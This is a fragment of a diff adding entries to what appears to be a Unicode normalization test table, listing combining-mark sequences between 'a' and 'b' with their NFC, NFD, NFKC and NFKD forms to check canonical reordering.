+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xABED, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xABED, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xABED, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xABED, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xABED, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xABED, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xABED, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xABED, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xABED, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xABED, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x064B, 0xFB1E, 0x05C2, 0xFB1E, 0x0062], NFC: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFD: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFKC: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFKD: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062] },
+{ source: [0x0061, 0xFB1E, 0x064B, 0xFB1E, 0x05C2, 0x0062], NFC: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFD: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFKC: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFKD: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE20, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE20, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE20, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE20, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE20, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE20, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE20, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE20, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE20, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE20, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE21, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE21, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE21, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE21, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE21, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE21, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE21, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE21, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE21, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE21, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE22, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE22, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE22, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE22, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE22, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE22, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE22, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE22, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE22, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE22, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE23, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE23, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE23, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE23, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE23, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE23, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE23, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE23, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE23, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE23, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE24, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE24, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE24, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE24, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE24, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE24, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE24, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE24, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE24, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE24, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE25, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE25, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE25, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE25, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE25, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE25, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE25, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE25, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE25, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE25, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE26, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE26, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE26, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE26, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE26, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE26, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE26, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE26, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE26, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE26, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xFE27, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xFE27, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xFE27, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xFE27, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xFE27, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE27, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xFE27, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xFE27, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xFE27, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xFE27, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xFE28, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xFE28, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xFE28, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xFE28, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xFE28, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE28, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xFE28, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xFE28, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xFE28, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xFE28, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xFE29, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xFE29, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xFE29, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xFE29, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xFE29, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE29, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xFE29, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xFE29, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xFE29, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xFE29, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xFE2A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xFE2A, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xFE2A, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xFE2A, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xFE2A, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE2A, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xFE2A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xFE2A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xFE2A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xFE2A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xFE2B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xFE2B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xFE2B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xFE2B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xFE2B, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE2B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xFE2B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xFE2B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xFE2B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xFE2B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xFE2C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xFE2C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xFE2C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xFE2C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xFE2C, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE2C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xFE2C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xFE2C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xFE2C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xFE2C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xFE2D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xFE2D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xFE2D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xFE2D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xFE2D, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE2D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xFE2D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xFE2D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xFE2D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xFE2D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE2E, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE2E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE2E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE2E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE2E, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE2E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE2E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE2E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE2E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE2E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE2F, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE2F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE2F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE2F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE2F, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE2F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE2F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE2F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE2F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE2F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x101FD, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x101FD, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x101FD, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x101FD, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x101FD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x101FD, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x101FD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x101FD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x101FD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x101FD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x102E0, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x102E0, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x102E0, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x102E0, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x102E0, 0x059A, 0x0062] },
+{ source: [0x0061, 0x102E0, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x102E0, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x102E0, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x102E0, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x102E0, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10376, 0x0062], NFC: [0x00E0, 0x05AE, 0x10376, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10376, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10376, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10376, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10376, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10376, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10376, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10376, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10376, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10377, 0x0062], NFC: [0x00E0, 0x05AE, 0x10377, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10377, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10377, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10377, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10377, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10377, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10377, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10377, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10377, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10378, 0x0062], NFC: [0x00E0, 0x05AE, 0x10378, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10378, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10378, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10378, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10378, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10378, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10378, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10378, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10378, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10379, 0x0062], NFC: [0x00E0, 0x05AE, 0x10379, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10379, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10379, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10379, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10379, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10379, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10379, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10379, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10379, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1037A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1037A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1037A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1037A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1037A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1037A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1037A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1037A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1037A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1037A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x10A0D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x10A0D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x10A0D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x10A0D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x10A0D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10A0D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x10A0D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x10A0D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x10A0D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x10A0D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10A0F, 0x0062], NFC: [0x00E0, 0x05AE, 0x10A0F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10A0F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10A0F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10A0F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10A0F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10A0F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10A0F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10A0F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10A0F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10A38, 0x0062], NFC: [0x00E0, 0x05AE, 0x10A38, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10A38, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10A38, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10A38, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10A38, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10A38, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10A38, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10A38, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10A38, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x10A39, 0x0062], NFC: [0x0061, 0x0334, 0x10A39, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x10A39, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x10A39, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x10A39, 0x093C, 0x0062] },
+{ source: [0x0061, 0x10A39, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x10A39, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x10A39, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x10A39, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x10A39, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x10A3A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x10A3A, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x10A3A, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x10A3A, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x10A3A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10A3A, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x10A3A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x10A3A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x10A3A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x10A3A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x10A3F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x10A3F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x10A3F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x10A3F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x10A3F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x10A3F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x10A3F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x10A3F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x10A3F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x10A3F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10AE5, 0x0062], NFC: [0x00E0, 0x05AE, 0x10AE5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10AE5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10AE5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10AE5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10AE5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10AE5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10AE5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10AE5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10AE5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x10AE6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x10AE6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x10AE6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x10AE6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x10AE6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10AE6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x10AE6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x10AE6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x10AE6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x10AE6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11046, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11046, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11046, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11046, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11046, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11046, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11046, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11046, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11046, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11046, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1107F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1107F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1107F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1107F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1107F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1107F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1107F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1107F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1107F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1107F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x110B9, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x110B9, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x110B9, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x110B9, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x110B9, 0x05B0, 0x0062] },
